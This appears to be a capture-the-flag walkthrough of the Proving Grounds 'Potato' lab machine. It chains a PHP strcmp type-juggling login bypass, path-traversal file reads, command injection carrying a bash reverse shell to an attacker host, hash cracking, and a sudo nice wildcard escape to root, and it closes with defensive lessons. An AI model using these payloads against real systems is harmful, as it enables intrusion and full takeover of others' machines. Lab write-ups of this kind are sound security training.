the_open_door
coffee
ESEN

Potato

Proving Grounds PlayMediumLinux192.168.144.101

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#oscp#ftp#source-disclosure#php-type-juggling#auth-bypass#lfi#path-traversal#command-injection#md5crypt#hash-cracking#sudo#gtfobins#nice
TL;DR. An anonymous FTP leaks index.php.bak, the admin panel's code: it validates with strcmp() and a hardcoded password. Sending password[] (an array) makes strcmp return NULL, which in a loose == 0 comparison is true: type-juggling login bypass. dashboard.php reads logs with cat logs/<file>, so file= is both a path-traversal LFI (/etc/passwd) and command injection (file=;bash -c ...) → shell as www-data. In /etc/passwd, webadmin stores its md5crypt hash inline; it cracks to dragon. And webadmin has sudo /bin/nice /notes/*: a ../ escapes /notes and nice runs our own script as root.

Reconnaissance

Initial scan

TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Three ports, with an FTP on a non-standard port:

sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.144.101
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2112/tcp open  ftp
nmap -p22,80,2112 -sCV 192.168.144.101 -oN targetedScan
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Potato company
2112/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 ftp      ftp           901 Aug  2  2020 index.php.bak
|_-rw-r--r--   1 ftp      ftp            54 Aug  2  2020 welcome.msg

FTP - TCP 2112

The anonymous FTP lets you download index.php.bak, a backup of the admin panel's code. It is a source-code leak, and with the code in hand the auth logic is laid bare:

ftp -p 192.168.144.101 2112   # anonymous / (any email)
# get index.php.bak

index.php.bak: hardcoded pass "potato" and login via strcmp()

$pass = "potato";
if($_GET['login']=="1"){
  if (strcmp($_POST['username'], "admin") == 0 && strcmp($_POST['password'], $pass) == 0) {
    echo "Welcome! Go to the dashboard";
    setcookie('pass', $pass, time() + 365*24*3600);
  } else { echo "Bad login/password!"; }
}

Admin panel - TCP 80

dirsearch confirms the panel under /admin/:

dirsearch -u http://192.168.144.101 --exclude-status=403,404
# 200 - /admin/  ·  /admin/index.php  ·  /admin/logs/

Shell as www-data

Type-juggling login bypass

The login compares with strcmp($_POST['password'], $pass) == 0. In PHP, strcmp() given an array instead of a string does not throw: it returns NULL (with a warning). And NULL == 0 is true in PHP's loose comparison. Just send the parameter as an array (password[]=1) and both strcmp calls "match" without knowing the password:

POST /admin/index.php?login=1
username=admin&password[]=1

Burp intercepts the login with username admin and the password sent as an array

Sending the password as an array returns Welcome and the pass cookie

The response is "Welcome! Go to the dashboard" plus the pass cookie, which grants access to dashboard.php.

Path-traversal LFI

The dashboard has a "Logs" section that shows files via a POST with file=log_01.txt:

The dashboard's Logs section requests a file with file=log_01.txt (intercepted in Burp)

Changing that value to a ../ path escapes the logs directory and reads any file:

file=../../../../../../../../etc/passwd
florianes:x:1000:1000:florianes:/home/florianes:/bin/bash
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin:/home/webadmin:/bin/bash

With file=../../../../etc/passwd through the dashboard's Logs section, the LFI dumps /etc/passwd with florianes and webadmin

Two leads: florianes and webadmin exist, and the latter has its md5crypt hash directly in /etc/passwd (second field, instead of x). Before cracking it, it pays to understand how the backend processes the parameter. Reading /proc/self/cmdline through the same LFI reveals the key:

file=../../../../../../proc/self/cmdline
# → catlogs/../../../../proc/self/cmdline

The LFI to /proc/self/cmdline reveals the command line: catlogs/../../proc/self/cmdline (cat and logs/ glued together)

The backend runs cat logs/<file>: the file is concatenated into a shell command (the catlogs glued with no space is visible). That is not just LFI, it is command injection.

Command injection → RCE

Before triggering the shell, we set up an nc listener:

nc -nlvp 4444

Since file= lands inside cat logs/<file>, a ; closes the cat and chains our own command. Drop in a reverse shell (URL-encoded):

file=;bash -c "bash -i >& /dev/tcp/<attacker>/4444 0>&1"

The reverse shell lands as www-data on the listener

www-data@serv:/var/www/html/admin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as webadmin

md5crypt hash in /etc/passwd + crack

From the shell, a cat /etc/passwd confirms the webadmin hash already seen over LFI:

cat /etc/passwd from the www-data shell: webadmin with its md5crypt hash $1$webadmin$...

Feed it to john, which identifies it as md5crypt and breaks it with rockyou:

echo '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash
# ?:dragon
su webadmin       # password: dragon

john identifies the hash as md5crypt and cracks it with rockyou: ?:dragon

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
...
$ john --show hash
?:dragon

1 password hash cracked, 0 left

The $1$ prefix is what john uses to identify the algorithm (MD5-crypt), with nothing to tell it. The password is dragon, and it shows up under --show because john had already cracked it and stored it in its .pot on an earlier run.

Privilege Escalation

sudo /bin/nice with path traversal

webadmin has a very specific sudo rule:

sudo -l
# (ALL : ALL) /bin/nice /notes/*

/bin/nice is in GTFOBins: it can launch any executable as the effective user. The restriction is that the argument must start with /notes/, but the * wildcard does not stop a ../: it escapes /notes and points to a script in /tmp. That script makes /bin/bash SUID:

echo 'chmod u+s /bin/bash' > /tmp/privesc.sh
chmod +x /tmp/privesc.sh
sudo /bin/nice /notes/../../../tmp/privesc.sh
ls -l /bin/bash       # -rwsr-xr-x root root → SUID
bash -p
bash-5.0# id
uid=1001(webadmin) gid=1001(webadmin) euid=0(root) groups=1001(webadmin)

proof.txt

bash-5.0# cat /root/proof.txt
7b811f0381239948c9ad8ae379ded99e

sudo /bin/nice runs privesc.sh, /bin/bash becomes SUID and bash -p gives root

Attack chain

Anonymous FTP (2112) → index.php.bak (panel source)
  └─ login via strcmp(): password[] (array) → NULL == 0 → type-juggling bypass
     └─ dashboard.php: file= in "cat logs/<file>"
        ├─ path-traversal LFI → /etc/passwd (webadmin with md5crypt hash)
        └─ command injection: file=;bash -c ... → www-data
           └─ john cracks $1$webadmin$... → dragon → su webadmin
              └─ sudo /bin/nice /notes/*  → /notes/../../../tmp/privesc.sh
                 └─ chmod u+s /bin/bash → bash -p → root

Lessons learned

  • A .bak on an anonymous FTP is a source-code leak: with the login logic visible, you see exactly which comparison to abuse. Never leave code backups reachable.
  • PHP type juggling comes from the loose ==: strcmp() with an array returns NULL, and NULL == 0 is true. Sending password[] instead of password bypasses the login without knowing the password; the fix is strict comparison (===) and type validation.
  • The single file= parameter was both LFI and command injection because the backend ran cat logs/<file>: reading /proc/self/cmdline revealed the concatenation and turned a file read into RCE.
  • Storing a hash in the second field of /etc/passwd (instead of x) is valid for the system but leaves the hash readable by anyone who can read the file; md5crypt falls quickly to a wordlist.
  • A sudo <binary> /path/* wildcard does not truly confine: ../ escapes the prefix. Combined with a GTFOBins binary like nice, which runs whatever it is handed, the result is arbitrary execution as root.
Command cheatsheet 11 commands

Quick review